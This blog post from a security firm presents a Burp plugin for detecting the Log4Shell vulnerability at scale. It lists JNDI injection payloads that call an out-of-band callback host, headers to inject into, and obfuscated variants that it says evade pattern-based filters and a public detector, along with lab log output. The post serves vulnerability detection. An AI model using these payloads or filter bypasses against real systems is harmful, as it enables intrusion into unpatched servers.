Blind Detection of the Log4j vulnerability en scale

A lot has been said during our self-imposed 30 days embargo of our detection plugin for the Apache Log4j vulnerability. Now we would like to summarize our point of view and how we have supported our clients with their detection capabilities, by writing an offensive tool to detect the vulnerability and bypass weak protections in place.

The Log4jshell vulnerability is easy to exploit, but exploitation attempts are often – and here in particular – incredible difficult to detect. Furthermore, software inventories in companies usually do not include details about libraries in use and if they do, then they almost never have those from third parties, software as a service systems or from the simple temporary workaround an engineer has implemented at one point … that apparently became permanent.

To support with the detection of the missing bits, we’ve checked the offensive tools available and found the detection rate in our labs shockingly low (that’s 30 days ago). Therefore, we came up with a tool that would allow our clients to scan their systems en scale.

We’ve provided access to the tools for free and very early in the exploitation stage for any of our clients – we’ve put a 30 days embargo on the tool to ensure the Blue Teams would have time to build detection and mitigation tactics.

Overall, the idea was to remove the complexity of (often web) applications, so that we can focus on the different types of the injections and potential bypasses instead. For that purpose we have used PortSwigger’s Burp and wrote an extension (plugin) that would allow us to easily scan for the issue in the networks of our clients. Using Burp to perform “en scales”-scanning is pretty common for this type of detection. For example, Nicolas Flacco from Lyft showed in his Improving Web Vulnerability Management through Automation blog post how they have automated vulnerability scanning with Burp.

For general information about the vulnerability please see the BSI Kritische Schwachstelle in Java-Bibliothek Log4j (German) and the Apache Log4j vulnerabilities from the UK NCSC.

Let us know if you need support in the detection of some more Apache Log4j occurrences in your network.

What you need to get started

The Plugin requires the (in)famous Jython 2.7.2 and can be loaded via the Extender settings in Burp (see above video). Additionally, I would recommend to use a dedicated scanning profile in which the only extension loaded, is the yLog4j-Plugin – that’s how it is guaranteed that scans are fast and reliable. We have created a sample scanning profile that you can import as shown in the video above.

Last, but not least, of course – the script itself, it is based on James Kettles ActiveScan++ and has been heavily adjusted to our needs. The Script can be found as a GitHub Project too – we haven’t submitted it to the PortSwigger BApp Store (yet?).

So, what’s so special with our tool? At the time we’ve distributed it to our clients, it was unique in terms of the payloads and the obfuscation options. But even still today it is bypassing the prevention mechanism of some major companies as our Bug Bounty trial has shown. Make sure to tune it to your needs – no GUI options exists, but setting the variables within the code is straight forward. See below for a more in depth description.

You can find yLog4j on our Github.

Payloads

We’ve collected eight different payload types to start with. If you want to keep the noise low – I would recommend to go with the “dns” one only: 

yInjections = [ 
    '${jndi:dns://collabToken}',
    '${jndi:rmi://collabToken}',
    '${jndi:ldap://collabToken}',
    '${jndi:ldaps://collabToken}',
    '${jndi:nis://collabToken}',
    '${jndi:nds://collabToken}',
    '${jndi:corba://collabToken}',
    '${jndi:iiop://collabToken}',        
]

HTTP Headers

Burp will help you sort out finding the right injection areas for parameter and it will fuzz the HTTP Header too. yLog4j will add a list of additional (valid and invalid) headers in case any unseen header might trigger the vulnerability: 

yHeaders = [
    'Accept',
    'Accept-Charset',
    'Accept-Datetime',
    'Accept-Encoding',
    'Accept-Language',
    'Access-Control-Request-Headers',
    'Access-Control-Request-Method',
    'Authorization',
    'Authorization: Basic',
    'Authorization: Bearer',
    'Authorization: Oauth',
    'Authorization: Token',
    'Cache-Control',
    'Cf-Connecting_ip',
    'Client-Ip',
    'Connection',
    'Contact',
    'Content-Length',
    'Content-MD5',
    'Content-Type',
    'Cookie',
    'DNT',
    'Date',
    'Expect',
    'Forwarded',
    'Forwarded-For',
    'Forwarded-For-Ip',
    'From',
    'Front-End-Https',
    'Host',
    'If-Match',
    'If-Modified-Since',
    'If-None-Match',
    'If-Range',
    'If-Unmodified-Since',
    'Max-Forwards',
    'Origin',
    'Originating-Ip',
    'Pragma',
    'Proxy-Authorization',
    'Proxy-Connection',
    'Range',
    'Referer',
    'TE',
    'True-Client-Ip',
    'Upgrade',
    'User-Agent',
    'Via',
    'Warning',
    'X-ATT-DeviceId',
    'X-Api-Version',
    'X-Bug-Bounty',
    'X-Client-Ip',
    'X-Forwarded-For',
    'X-Forwarded-Host',
    'X-Forwarded-Proto',
    'X-Http-Method-Override',
    'X-Leakix',
    'X-Originating-Ip',
    'X-Real-Ip',
    'X-Remote-Addr',
    'X-Remote-Ip',
    'X-Requested-With',
    'X-Wap-Profile',
    '\u0079Invalid',
    'jndi'
]

Obfuscations

Defenders quickly found more or less reliable ways to detect common exploit attempts – we’ve seen troubles with that where the detection has been used for prevention – so a pattern based match was used to prevent exploitation, but the vulnerability was still there. We came up with a few ideas to bypass the most common filters.

CamelCase

Characters are randomly written in lower and upper case – the input ${jndi:dns://collabToken} becomes: 

${${lower:J}${lower:N}${lower:D}${lower:I}:${lower:D}${lower:N}${lower:S}:${lower:/}${upper:/}${upper:C}${lower:O}${upper:l}${lower:L}${upper:A}${upper:B}${upper:t}${upper:o}${lower:K}${lower:E}${upper:n}}
Subsitution I

Empty strings are placed between characters and a concat is performed – the input ${jndi:dns://collabToken} becomes: 

${${::-}j${::-}n${::-}d${::-}i${::-}:${::-}d${::-}n${::-}s${::-}:${::-}/${::-}/${::-}c${::-}o${::-}l${::-}l${::-}a${::-}b${::-}T${::-}o${::-}k${::-}e${::-}n}
Subsitution II

Characters are concated – the input ${jndi:dns://collabToken} becomes: 

${${::-j}${::-n}${::-d}${::-i}${::-:}${::-d}${::-n}${::-s}${::-:}${::-/}${::-/}${::-c}${::-o}${::-l}${::-l}${::-a}${::-b}${::-T}${::-o}${::-k}${::-e}${::-n}}
Subsitution III

Random characters are deleted before the string is concated – the input ${jndi:dns://collabToken} becomes: 

${${kfjm6M:pUTx:-j}${FbX:la9:-n}${icCjoH:4nAY:-d}${8Xnti:Pli:-i}${pNlL:Cy8e0a:-:}${pCACO0:q7ISYp:-d}${IiLJvr:J550:-n}${gZy:sd0jIV:-s}${gCm:vXJ:-:}${9lf1J:uQIGLb:-/}${kSQ1f2:oMZ:-/}${inQwAN:hRfgUR:-c}${b5V:93uANU:-o}${HO9:JiDBIU:-l}${C6xf:rv7:-l}${Z26IG:r8ZaN:-a}${xwhCVH:ffnr4v:-b}${WCcW:s74NX:-T}${UeC:Tu5rk:-o}${VB44f:c1kuh5:-k}${FKMQZ:PkL:-e}${GJC:Yyq:-n}}
FloRo

Multiple empty entries are used to bypass the log4shell-detector from Florian Roth – the input ${jndi:dns://collabToken} becomes: 

${${::-}${::-}${::-}${::-}${::-}${::-}${::-}${::-}${::-}j${::-}${::-}${::-}${::-}n${::-}${::-}${::-}${::-}${::-}d${::-}${::-}${::-}${::-}${::-}${::-}i${::-}${::-}${::-}${::-}${::-}:${::-}${::-}${::-}${::-}${::-}d${::-}${::-}${::-}${::-}n${::-}${::-}${::-}${::-}s${::-}${::-}${::-}${::-}${::-}${::-}${::-}${::-}${::-}:${::-}${::-}${::-}${::-}${::-}${::-}/${::-}${::-}${::-}${::-}${::-}${::-}${::-}${::-}/${::-}${::-}${::-}${::-}${::-}${::-}${::-}${::-}${::-}c${::-}${::-}${::-}${::-}${::-}${::-}${::-}${::-}${::-}o${::-}${::-}${::-}${::-}${::-}${::-}${::-}${::-}${::-}l${::-}${::-}${::-}${::-}${::-}${::-}l${::-}${::-}${::-}${::-}${::-}${::-}a${::-}${::-}${::-}${::-}${::-}${::-}${::-}b${::-}${::-}${::-}${::-}${::-}${::-}${::-}${::-}T${::-}${::-}${::-}${::-}${::-}${::-}${::-}${::-}o${::-}${::-}${::-}${::-}${::-}${::-}k${::-}${::-}${::-}${::-}${::-}${::-}${::-}${::-}e${::-}${::-}${::-}${::-}${::-}${::-}n}
Combining obfuscation injections

By combining the obfuscation techniques Substitution I, II and III the input ${jndi:dns://collabToken} becomes different anytime the code is executed and is our ideal payload: 

${${${::-${0PA:HWsm:-:}}${TcW:oXgvNs:-:}${Qadsqo:W3EF:--}}${${xPQo:P8d5K:-:}${AseHuj:3gLZf:-:}${ZM9Fcs:ZnID3:--}${m8Z5i:bx1U:-j}}${je102M:JBBQ:-n}${VI4X8:sBBRF:-d}${${${8FeOV:HAEmE:-:}:-${L7BwVm:4to4:-:}}:-}i${${07s3:HoC:-:}${:${jYX:O7v6:-:}${Js74G:VHQBS:--}${PyCq:h9Mv:-:}}${::${NJX:nwc0B:--}-}}${RG8gv7:Gxkfnf:-:}${${${Ou2qSB:5EL:-:}:${d9Gis:3Yf8n:--}:}${${vTsb:dOTe23:-:}:-:}${:${f4ll:AsUa4N:-:}${rYB:pQARF5:--}${0ab:GXC1:--}}}${${aoIou:xQ0IWX:-:}${x0ATd:2KX:-:}-d}${:${fj3:y40:-:}-${Y4Z:b0R4:-n}}${${Y7ffZ:yUV:-:}${::-${TR4WL:Q9X:-:}}${${FDF:yDcB:-:}${yqIRyV:fWB:-:}--}}${jTtiUy:Q3L:-s}${${${u7Y:l3O:-:}:-:}${:${JW4f:tGHfnq:-:}${sWPd:XdAWt:--}${O5lyuM:ioa:-:}}${::--}}${${G20:Ggp:-:}${YxJE:1CwYN:-:}${6TL:7JL:--}:}${ZjCLF:aBDN:-/}${::${7BfBKo:rJaEMj:--}${wsL0:7r67:-/}}${${${TqB:Ip7oQO:-:}:${NDW6:u1r:--}${YayR:eZZUmF:-:}}:${${cJi:Je9HjL:-:}:-${I69VkI:Z6l7:--}}}${dhw5:6x3IE:-c}${${QMa:i7fE:-:}:${HgCY:X6au:--}}${${DOpq:MWFxM:-:}${xatUp:v5WL:-:}-o}${::${${1EGxB:SCHiFu:-:}:-${Qmw:PoQ:--}}}${${qpI:EWh:-:}${PVtAuw:g0ma:-:}${nE3:hbasHF:--}l}${${akak:nXIxnd:-:}${t7Ne:edKsy:-:}${KOpOoA:wL2DgT:--}l}${:${FUfUu:mA7:-:}-${WVEKo:Khi:-a}}${:${ZBS:M8j:-:}${uk85y:COjd9A:--}${TdeTRn:eaZ:-b}}${LNOkV0:pNZC:-T}o${${::-${dh23:dXhXZI:-:}}:${:${aJYp:fIn:-:}${aFr2w:bmbn:--}${tL4dlj:Ce5:--}}}k${mCQj:mwP:-e}${${:${we2l:0Ow3O:-:}${QZe:23uR:--}:}${ISKjNB:Xfs:-:}${::--}}${oup:4Uk:-n}}

Test environment

We have created our own test environment to develop and test the plugin using various vulnerable applications. The easiest to get started is the Docker Container from log4jpwn that we have used in the above video demonstration too. When running the exploit against the container you will see an output similar to the following: 

$ docker run --rm -p8081:8080 log4jpwn
WARNING: sun.reflect.Reflection.getCallerClass is not supported. This will impact performance.
[Thread-0] INFO org.eclipse.jetty.util.log - Logging initialized @296ms to org.eclipse.jetty.util.log.Slf4jLog
[Thread-0] INFO spark.embeddedserver.jetty.EmbeddedJettyServer - == Spark has ignited ...
[Thread-0] INFO spark.embeddedserver.jetty.EmbeddedJettyServer - >> Listening on 0.0.0.0:8080
[Thread-0] INFO org.eclipse.jetty.server.Server - jetty-9.4.z-SNAPSHOT; built: 2019-04-29T20:42:08.989Z; git: e1bc35120a6617ee3df052294e433f3a25ce7097; jvm 11.0.13+8-post-Debian-1deb11u1
[Thread-0] INFO org.eclipse.jetty.server.session - DefaultSessionIdManager workerName=node0
[Thread-0] INFO org.eclipse.jetty.server.session - No SessionScavenger set, using defaults
[Thread-0] INFO org.eclipse.jetty.server.session - node0 Scavenging every 660000ms
[Thread-0] INFO org.eclipse.jetty.server.AbstractConnector - Started ServerConnector@7a75d738{HTTP/1.1,[http/1.1]}{0.0.0.0:8080}
[Thread-0] INFO org.eclipse.jetty.server.Server - Started @351ms
11:36:25.338 [qtp2123105143-22] ERROR com.sensepost.log4jpwn.App - pwn
11:36:25.338 [qtp2123105143-22] ERROR com.sensepost.log4jpwn.App - /pwn/pwn.pwn
logging ua: ${${::-}j${::-}n${::-}d${::-}i${::-}:${::-}d${::-}n${::-}s${::-}:${::-}/${::-}/${::-}1${::-}2${::-}1${::-}l${::-}4${::-}q${::-}f${::-}l${::-}o${::-}i${::-}8${::-}8${::-}9${::-}b${::-}o${::-}r${::-}j${::-}s${::-}r${::-}0${::-}1${::-}x${::-}8${::-}h${::-}5${::-}8${::-}b${::-}y${::-}z${::-}n${::-}.${::-}b${::-}u${::-}r${::-}p${::-}c${::-}o${::-}l${::-}l${::-}a${::-}b${::-}o${::-}r${::-}a${::-}t${::-}o${::-}r${::-}.${::-}n${::-}e${::-}t}

Conclusion

Don’t trust pattern based prevention techniques or your untested software inventory. It is necessary to have both, but my advice would be to not rely on either of both if it comes to any critical data. A way forward for future vulnerabilities (we all know they will come and they will be as bad as Log4shell) would be to have a good understanding of your environment and incorporate not the one solution, but many – so that you have an overlap on your blind sport and shed some light on those. Also, get yourself tested regularly.

Author

Sven Schlüter
sven@y-security.de
Y-Security GmbH
31. January 2022